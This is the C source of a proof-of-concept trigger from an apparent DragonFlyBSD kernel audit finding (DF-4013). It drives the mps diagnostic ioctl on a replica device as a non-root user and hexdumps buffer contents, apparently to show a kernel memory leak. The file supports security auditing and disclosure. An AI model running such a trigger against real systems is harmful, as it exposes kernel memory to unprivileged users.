⬢ DragonFlyBSD Kernel Audit
DF-4013 / trigger.c
← back to finding ↓ download raw
/*
 * DF-4013 userspace trigger — drives MPTIOCTL_DIAG_ACTION against the
 * dfdiag replica exactly the way LSI diagnostics tools drive /dev/mpsN.
 *
 * Sequence (all as operator uid=2):
 *   register <type> <size> <uid>   REGISTER
 *   read <uid> <len>               READ_BUFFER at offset 0 -> hexdump sample
 *   unregister <uid>               UNREGISTER
 *   postfail                       arm next REGISTER's post to fail
 *   allocfail                      arm next REGISTER's mem-alloc to fail
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

typedef struct mps_fw_diag_register {
	uint8_t		ExtendedType;
	uint8_t		BufferType;
	uint16_t	ApplicationFlags;
	uint32_t	DiagnosticFlags;
	uint32_t	ProductSpecific[23];
	uint32_t	RequestedBufferSize;
	uint32_t	UniqueId;
} mps_fw_diag_register_t;

typedef struct mps_fw_diag_unregister {
	uint32_t	UniqueId;
} mps_fw_diag_unregister_t;

typedef struct mps_diag_read_buffer {
	uint8_t		Status;
	uint8_t		Reserved;
	uint16_t	Flags;
	uint32_t	StartingOffset;
	uint32_t	BytesToRead;
	uint32_t	UniqueId;
	uint64_t	PtrDataBuffer;
} mps_diag_read_buffer_t;

typedef struct mps_diag_action {
	uint32_t	Action;
	uint32_t	Length;
	uint64_t	PtrDiagAction;
	uint32_t	ReturnCode;
} mps_diag_action_t;

#define	MPTIOCTL_DIAG_ACTION	_IOWR('I', 9, struct mps_diag_action)
#define	ACT_REGISTER	1
#define	ACT_UNREGISTER	2
#define	ACT_READ_BUFFER	4

static int fd;

static int
ioctl_action(mps_diag_action_t *da)
{
	int rc = ioctl(fd, MPTIOCTL_DIAG_ACTION, da);
	if (rc)
		printf("  ioctl(Action=%u) rc=%d errno=%d ReturnCode=%#x\n",
		    da->Action, rc, errno, da->ReturnCode);
	return (rc);
}

int
main(int argc, char **argv)
{
	mps_diag_action_t da;

	if (argc < 2) {
		printf("usage: %s register <type> <size> <uid> | read <uid>"
		    " <len> | unregister <uid> | postfail | allocfail\n",
		    argv[0]);
		return (1);
	}

	fd = open("/dev/dfdiag", O_RDONLY);
	if (fd < 0) {
		printf("open(/dev/dfdiag): %s (uid=%d)\n", strerror(errno),
		    getuid());
		return (2);
	}

	if (strcmp(argv[1], "register") == 0) {
		mps_fw_diag_register_t r;
		memset(&r, 0, sizeof(r));
		r.BufferType = (uint8_t)strtoul(argv[2], NULL, 0);
		r.RequestedBufferSize = (uint32_t)strtoul(argv[3], NULL, 0);
		r.UniqueId = (uint32_t)strtoul(argv[4], NULL, 0);
		memset(&da, 0, sizeof(da));
		da.Action = ACT_REGISTER;
		da.Length = sizeof(r);
		da.PtrDiagAction = (uint64_t)(uintptr_t)&r;
		if (ioctl_action(&da) == 0)
			printf("REGISTER type=%u size=%u uid=%#x rc-ok "
			    "ReturnCode=%#x (uid=%d)\n", r.BufferType,
			    r.RequestedBufferSize, r.UniqueId, da.ReturnCode,
			    getuid());
	} else if (strcmp(argv[1], "read") == 0) {
		mps_diag_read_buffer_t rb;
		static unsigned char buf[1 << 20];
		uint32_t uid = (uint32_t)strtoul(argv[2], NULL, 0);
		uint32_t len = (uint32_t)strtoul(argv[3], NULL, 0);
		memset(&rb, 0, sizeof(rb));
		rb.StartingOffset = 0;
		rb.BytesToRead = len;
		rb.UniqueId = uid;
		rb.PtrDataBuffer = (uint64_t)(uintptr_t)buf;
		memset(&da, 0, sizeof(da));
		da.Action = ACT_READ_BUFFER;
		da.Length = len;	/* gate: length >= BytesToRead */
		da.PtrDiagAction = (uint64_t)(uintptr_t)&rb;
		if (ioctl_action(&da) == 0) {
			int nz = 0;
			for (uint32_t i = 0; i < len; i++)
				if (buf[i])
					nz++;
			printf("READ uid=%#x len=%u ok ReturnCode=%#x: %u/%u "
			    "nonzero bytes; sample (uid=%d):\n", uid, len,
			    da.ReturnCode, nz, len, getuid());
			for (uint32_t i = 0; i < len && i < 256; i += 32) {
				printf("  +%06x:", i);
				for (uint32_t j = 0; j < 32; j += 4)
					printf(" %02x%02x%02x%02x",
					    buf[i+j], buf[i+j+1], buf[i+j+2],
					    buf[i+j+3]);
				printf("\n");
			}
		}
	} else if (strcmp(argv[1], "unregister") == 0) {
		mps_fw_diag_unregister_t u;
		memset(&u, 0, sizeof(u));
		u.UniqueId = (uint32_t)strtoul(argv[2], NULL, 0);
		memset(&da, 0, sizeof(da));
		da.Action = ACT_UNREGISTER;
		da.Length = sizeof(u);
		da.PtrDiagAction = (uint64_t)(uintptr_t)&u;
		if (ioctl_action(&da) == 0)
			printf("UNREGISTER uid=%#x ok ReturnCode=%#x "
			    "(uid=%d)\n", u.UniqueId, da.ReturnCode, getuid());
	} else if (strcmp(argv[1], "postfail") == 0 ||
	    strcmp(argv[1], "allocfail") == 0) {
		memset(&da, 0, sizeof(da));
		da.Action = (strcmp(argv[1], "postfail") == 0) ? 0xF001 :
		    0xF002;
		if (ioctl_action(&da) == 0)
			printf("%s armed\n", argv[1]);
	} else {
		printf("unknown mode %s\n", argv[1]);
		return (1);
	}
	close(fd);
	return (0);
}